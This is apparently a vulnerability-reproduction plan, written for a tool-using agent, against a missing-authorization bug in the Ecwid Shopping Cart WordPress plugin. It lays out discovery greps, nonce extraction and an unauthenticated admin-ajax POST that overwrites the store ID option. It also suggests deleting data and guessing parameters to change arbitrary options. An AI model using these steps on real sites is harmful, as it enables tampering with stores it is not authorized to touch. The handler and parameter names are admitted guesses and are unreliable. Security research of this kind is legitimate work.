Ecwid Shopping Cart <= 7.0.6 - Missing Authorization

This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the Ecwid Shopping Cart plugin (versions <= 7.0.6). Since source files are not provided, this plan relies on common patterns in the Ecwid plugin and standard WordPress vulnerability research methodologies to pinpoint the specific unauthorized action.

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1. Vulnerability Summary

The vulnerability (CVE-2026-24613) is a Missing Authorization flaw in the Ecwid by Lightspeed Ecommerce Shopping Cart plugin. It stems from a function (likely an AJAX handler or an admin_init callback) that performs a sensitive state-changing operation (like updating the Store ID or syncing data) without verifying the user's capabilities via current_user_can(). This allows unauthenticated attackers to trigger the function by sending a request to admin-ajax.php.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action String: Likely ecwid_set_store_id, ecwid_update_store_id, or ecwid_disconnect (inferred based on plugin functionality).
• Method: HTTP POST
• Authentication: Unauthenticated (requires wp_ajax_nopriv_ registration or an improperly guarded admin_init hook).
• Preconditions: The plugin must be active. A valid WordPress nonce for the specific action may be required if a check_ajax_referer call is present but authorization is missing.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action for logged-out users:
   add_action('wp_ajax_nopriv_ecwid_set_store_id', 'ecwid_ajax_set_store_id'); (inferred).
2. Vulnerable Function: The handler function (e.g., ecwid_ajax_set_store_id) is called.
3. Missing Check: The function may call check_ajax_referer('ecwid_action_nonce', 'nonce') but fails to call if (!current_user_can('manage_options')) { wp_die(); }.
4. Sensitive Sink: The function calls update_option('ecwid_store_id', $_POST['store_id']), allowing an attacker to change the linked store.

4. Nonce Acquisition Strategy

If the vulnerable handler uses check_ajax_referer, we must extract the nonce from the frontend.

1. Identify the Shortcode: The Ecwid plugin typically enqueues its scripts on pages where the store is displayed. Look for the main store shortcode:
   • Command: grep -rn "add_shortcode" /var/www/html/wp-content/plugins/ecwid-shopping-cart/
   • Likely shortcodes: [ecwid], [ecwid_product], or [ecwid_script].
2. Create a Target Page:
   • wp post create --post_type=page --post_status=publish --post_title="Store" --post_content="[ecwid]" (Use the identified shortcode).
3. Navigate and Extract:
   • Navigate to the newly created page.
   • The plugin likely uses wp_localize_script to pass variables to ecwid.js.
   • Grep for the variable name: grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/ecwid-shopping-cart/
   • Common Variable Name: ecwidParams or ecwid_vars.
   • Extraction Command: browser_eval("window.ecwidParams?.nonce") or browser_eval("window.ecwid_vars?.ajax_nonce").

5. Exploitation Strategy

The goal is to modify the ecwid_store_id option, which controls which Ecwid store is displayed on the WordPress site.

Step 1: Discovery
Grep the plugin for the vulnerable unauthenticated AJAX registration:
grep -r "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/ecwid-shopping-cart/

Step 2: Targeted Probe
If ecwid_ajax_set_store_id (or similar) is found, check for the presence of current_user_can.

Step 3: Execute Unauthorized Action
Using the http_request tool, send a POST request:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=[VULNERABLE_ACTION]&store_id=9999999&nonce=[EXTRACTED_NONCE]
  

  (Note: Replace [VULNERABLE_ACTION] and store_id key with actual names found during discovery).

6. Test Data Setup

1. Install Plugin: Ensure ecwid-shopping-cart version 7.0.6 is installed and activated.
2. Set Initial Store ID:
   • wp option update ecwid_store_id 10001 (Set a baseline).
3. Create Nonce Source:
   • Create a page with the Ecwid shortcode as described in Section 4.

7. Expected Results

• Response: The server should return a 200 OK or a JSON success message (e.g., {"success":true}).
• Effect: The ecwid_store_id option in the database should be updated to the attacker-supplied value.

8. Verification Steps

After sending the exploit request, verify the change using WP-CLI:

1. Check the store ID:
   • wp option get ecwid_store_id
   • Verification: The output should be 9999999 (or the value used in the payload), confirming the unauthorized modification.

9. Alternative Approaches

• If no wp_ajax_nopriv is found: Check for functions hooked to admin_init.
  • grep -rn "add_action.*admin_init" /var/www/html/wp-content/plugins/ecwid-shopping-cart/
  • Verify if these functions perform logic without checking is_admin() or current_user_can(). These can be triggered by any unauthenticated user visiting /wp-admin/admin-ajax.php.
• If Store ID modification is not possible: Look for actions that allow data deletion or modification of other settings:
  • ecwid_disconnect_store
  • ecwid_reset_categories
  • ecwid_sync_products
• Parameter Guessing: If the discovery phase identifies a handler like ecwid_ajax_update_setting, attempt to update arbitrary options by trying keys like option_name and option_value.